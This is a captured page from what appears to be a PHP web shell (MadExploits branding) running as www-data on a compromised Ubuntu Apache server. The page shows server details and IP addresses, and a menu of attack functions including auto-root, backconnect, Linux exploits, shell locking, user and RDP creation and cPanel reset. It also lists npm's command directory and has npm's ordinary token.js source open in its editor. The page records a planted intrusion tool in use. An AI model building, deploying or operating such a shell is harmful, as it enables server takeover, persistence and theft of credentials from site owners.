Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.190.151
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
npm /
lib /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
access.js
6.08
KB
-rw-r--r--
adduser.js
1.32
KB
-rw-r--r--
audit.js
13.92
KB
-rw-r--r--
bugs.js
815
B
-rw-r--r--
cache.js
6.99
KB
-rw-r--r--
ci.js
3.77
KB
-rw-r--r--
completion.js
8.73
KB
-rw-r--r--
config.js
10.12
KB
-rw-r--r--
dedupe.js
1.4
KB
-rw-r--r--
deprecate.js
2.03
KB
-rw-r--r--
diff.js
8.18
KB
-rw-r--r--
dist-tag.js
5.45
KB
-rw-r--r--
docs.js
447
B
-rw-r--r--
doctor.js
11.51
KB
-rw-r--r--
edit.js
2
KB
-rw-r--r--
exec.js
2.54
KB
-rw-r--r--
explain.js
3.56
KB
-rw-r--r--
explore.js
2.3
KB
-rw-r--r--
find-dupes.js
622
B
-rw-r--r--
fund.js
6.54
KB
-rw-r--r--
get.js
524
B
-rw-r--r--
help-search.js
5.5
KB
-rw-r--r--
help.js
3.54
KB
-rw-r--r--
hook.js
3.77
KB
-rw-r--r--
init.js
6.9
KB
-rw-r--r--
install-ci-test.js
373
B
-rw-r--r--
install-test.js
370
B
-rw-r--r--
install.js
5.17
KB
-rw-r--r--
link.js
5.24
KB
-rw-r--r--
ll.js
234
B
-rw-r--r--
login.js
1.32
KB
-rw-r--r--
logout.js
1.3
KB
-rw-r--r--
ls.js
16.74
KB
-rw-r--r--
org.js
4.14
KB
-rw-r--r--
outdated.js
8.76
KB
-rw-r--r--
owner.js
5.91
KB
-rw-r--r--
pack.js
2.37
KB
-rw-r--r--
ping.js
917
B
-rw-r--r--
pkg.js
3.5
KB
-rw-r--r--
prefix.js
303
B
-rw-r--r--
profile.js
11.19
KB
-rw-r--r--
prune.js
783
B
-rw-r--r--
publish.js
6.5
KB
-rw-r--r--
query.js
2.95
KB
-rw-r--r--
rebuild.js
2.15
KB
-rw-r--r--
repo.js
1.24
KB
-rw-r--r--
restart.js
310
B
-rw-r--r--
root.js
258
B
-rw-r--r--
run-script.js
6.81
KB
-rw-r--r--
search.js
2.68
KB
-rw-r--r--
set.js
572
B
-rw-r--r--
shrinkwrap.js
2.65
KB
-rw-r--r--
star.js
1.87
KB
-rw-r--r--
stars.js
1.03
KB
-rw-r--r--
start.js
300
B
-rw-r--r--
stop.js
295
B
-rw-r--r--
team.js
4.44
KB
-rw-r--r--
test.js
295
B
-rw-r--r--
token.js
6.64
KB
-rw-r--r--
uninstall.js
1.51
KB
-rw-r--r--
unpublish.js
4.54
KB
-rw-r--r--
unstar.js
182
B
-rw-r--r--
update.js
1.72
KB
-rw-r--r--
version.js
3.58
KB
-rw-r--r--
view.js
14.38
KB
-rw-r--r--
whoami.js
474
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : token.js
const Table = require('cli-table3') const { v4: isCidrV4, v6: isCidrV6 } = require('is-cidr') const log = require('../utils/log-shim.js') const profile = require('npm-profile') const otplease = require('../utils/otplease.js') const pulseTillDone = require('../utils/pulse-till-done.js') const readUserInfo = require('../utils/read-user-info.js') const BaseCommand = require('../base-command.js') class Token extends BaseCommand { static description = 'Manage your authentication tokens' static name = 'token' static usage = ['list', 'revoke <id|token>', 'create [--read-only] [--cidr=list]'] static params = ['read-only', 'cidr', 'registry', 'otp'] async completion (opts) { const argv = opts.conf.argv.remain const subcommands = ['list', 'revoke', 'create'] if (argv.length === 2) { return subcommands } if (subcommands.includes(argv[2])) { return [] } throw new Error(argv[2] + ' not recognized') } async exec (args) { log.gauge.show('token') if (args.length === 0) { return this.list() } switch (args[0]) { case 'list': case 'ls': return this.list() case 'delete': case 'revoke': case 'remove': case 'rm': return this.rm(args.slice(1)) case 'create': return this.create(args.slice(1)) default: throw this.usageError(`${args[0]} is not a recognized subcommand.`) } } async list () { const conf = this.config() log.info('token', 'getting list') const tokens = await pulseTillDone.withPromise(profile.listTokens(conf)) if (conf.json) { this.npm.output(JSON.stringify(tokens, null, 2)) return } else if (conf.parseable) { this.npm.output(['key', 'token', 'created', 'readonly', 'CIDR whitelist'].join('\t')) tokens.forEach(token => { this.npm.output( [ token.key, token.token, token.created, token.readonly ? 'true' : 'false', token.cidr_whitelist ? token.cidr_whitelist.join(',') : '', ].join('\t') ) }) return } this.generateTokenIds(tokens, 6) const idWidth = tokens.reduce((acc, token) => Math.max(acc, token.id.length), 0) const table = new Table({ head: ['id', 'token', 'created', 'readonly', 'CIDR whitelist'], colWidths: [Math.max(idWidth, 2) + 2, 9, 12, 10], }) tokens.forEach(token => { table.push([ token.id, token.token + '…', String(token.created).slice(0, 10), token.readonly ? 'yes' : 'no', token.cidr_whitelist ? token.cidr_whitelist.join(', ') : '', ]) }) this.npm.output(table.toString()) } async rm (args) { if (args.length === 0) { throw this.usageError('`<tokenKey>` argument is required.') } const conf = this.config() const toRemove = [] const progress = log.newItem('removing tokens', toRemove.length) progress.info('token', 'getting existing list') const tokens = await pulseTillDone.withPromise(profile.listTokens(conf)) args.forEach(id => { const matches = tokens.filter(token => token.key.indexOf(id) === 0) if (matches.length === 1) { toRemove.push(matches[0].key) } else if (matches.length > 1) { throw new Error( /* eslint-disable-next-line max-len */ `Token ID "${id}" was ambiguous, a new token may have been created since you last ran \`npm token list\`.` ) } else { const tokenMatches = tokens.some(t => id.indexOf(t.token) === 0) if (!tokenMatches) { throw new Error(`Unknown token id or value "${id}".`) } toRemove.push(id) } }) await Promise.all( toRemove.map(key => { return otplease(this.npm, conf, c => profile.removeToken(key, c)) }) ) if (conf.json) { this.npm.output(JSON.stringify(toRemove)) } else if (conf.parseable) { this.npm.output(toRemove.join('\t')) } else { this.npm.output('Removed ' + toRemove.length + ' token' + (toRemove.length !== 1 ? 's' : '')) } } async create (args) { const conf = this.config() const cidr = conf.cidr const readonly = conf.readOnly const password = await readUserInfo.password() const validCIDR = this.validateCIDRList(cidr) log.info('token', 'creating') const result = await pulseTillDone.withPromise( otplease(this.npm, conf, c => profile.createToken(password, readonly, validCIDR, c)) ) delete result.key delete result.updated if (conf.json) { this.npm.output(JSON.stringify(result)) } else if (conf.parseable) { Object.keys(result).forEach(k => this.npm.output(k + '\t' + result[k])) } else { const table = new Table() for (const k of Object.keys(result)) { table.push({ [this.npm.chalk.bold(k)]: String(result[k]) }) } this.npm.output(table.toString()) } } config () { const conf = { ...this.npm.flatOptions } const creds = this.npm.config.getCredentialsByURI(conf.registry) if (creds.token) { conf.auth = { token: creds.token } } else if (creds.username) { conf.auth = { basic: { username: creds.username, password: creds.password, }, } } else if (creds.auth) { const auth = Buffer.from(creds.auth, 'base64').toString().split(':', 2) conf.auth = { basic: { username: auth[0], password: auth[1], }, } } else { conf.auth = {} } if (conf.otp) { conf.auth.otp = conf.otp } return conf } invalidCIDRError (msg) { return Object.assign(new Error(msg), { code: 'EINVALIDCIDR' }) } generateTokenIds (tokens, minLength) { const byId = {} for (const token of tokens) { token.id = token.key for (let ii = minLength; ii < token.key.length; ++ii) { const match = tokens.some( ot => ot !== token && ot.key.slice(0, ii) === token.key.slice(0, ii) ) if (!match) { token.id = token.key.slice(0, ii) break } } byId[token.id] = token } return byId } validateCIDRList (cidrs) { const maybeList = [].concat(cidrs).filter(Boolean) const list = maybeList.length === 1 ? maybeList[0].split(/,\s*/) : maybeList for (const cidr of list) { if (isCidrV6(cidr)) { throw this.invalidCIDRError( 'CIDR whitelist can only contain IPv4 addresses, ' + cidr + ' is IPv6' ) } if (!isCidrV4(cidr)) { throw this.invalidCIDRError('CIDR whitelist contains invalid CIDR entry: ' + cidr) } } return list } } module.exports = Token
Close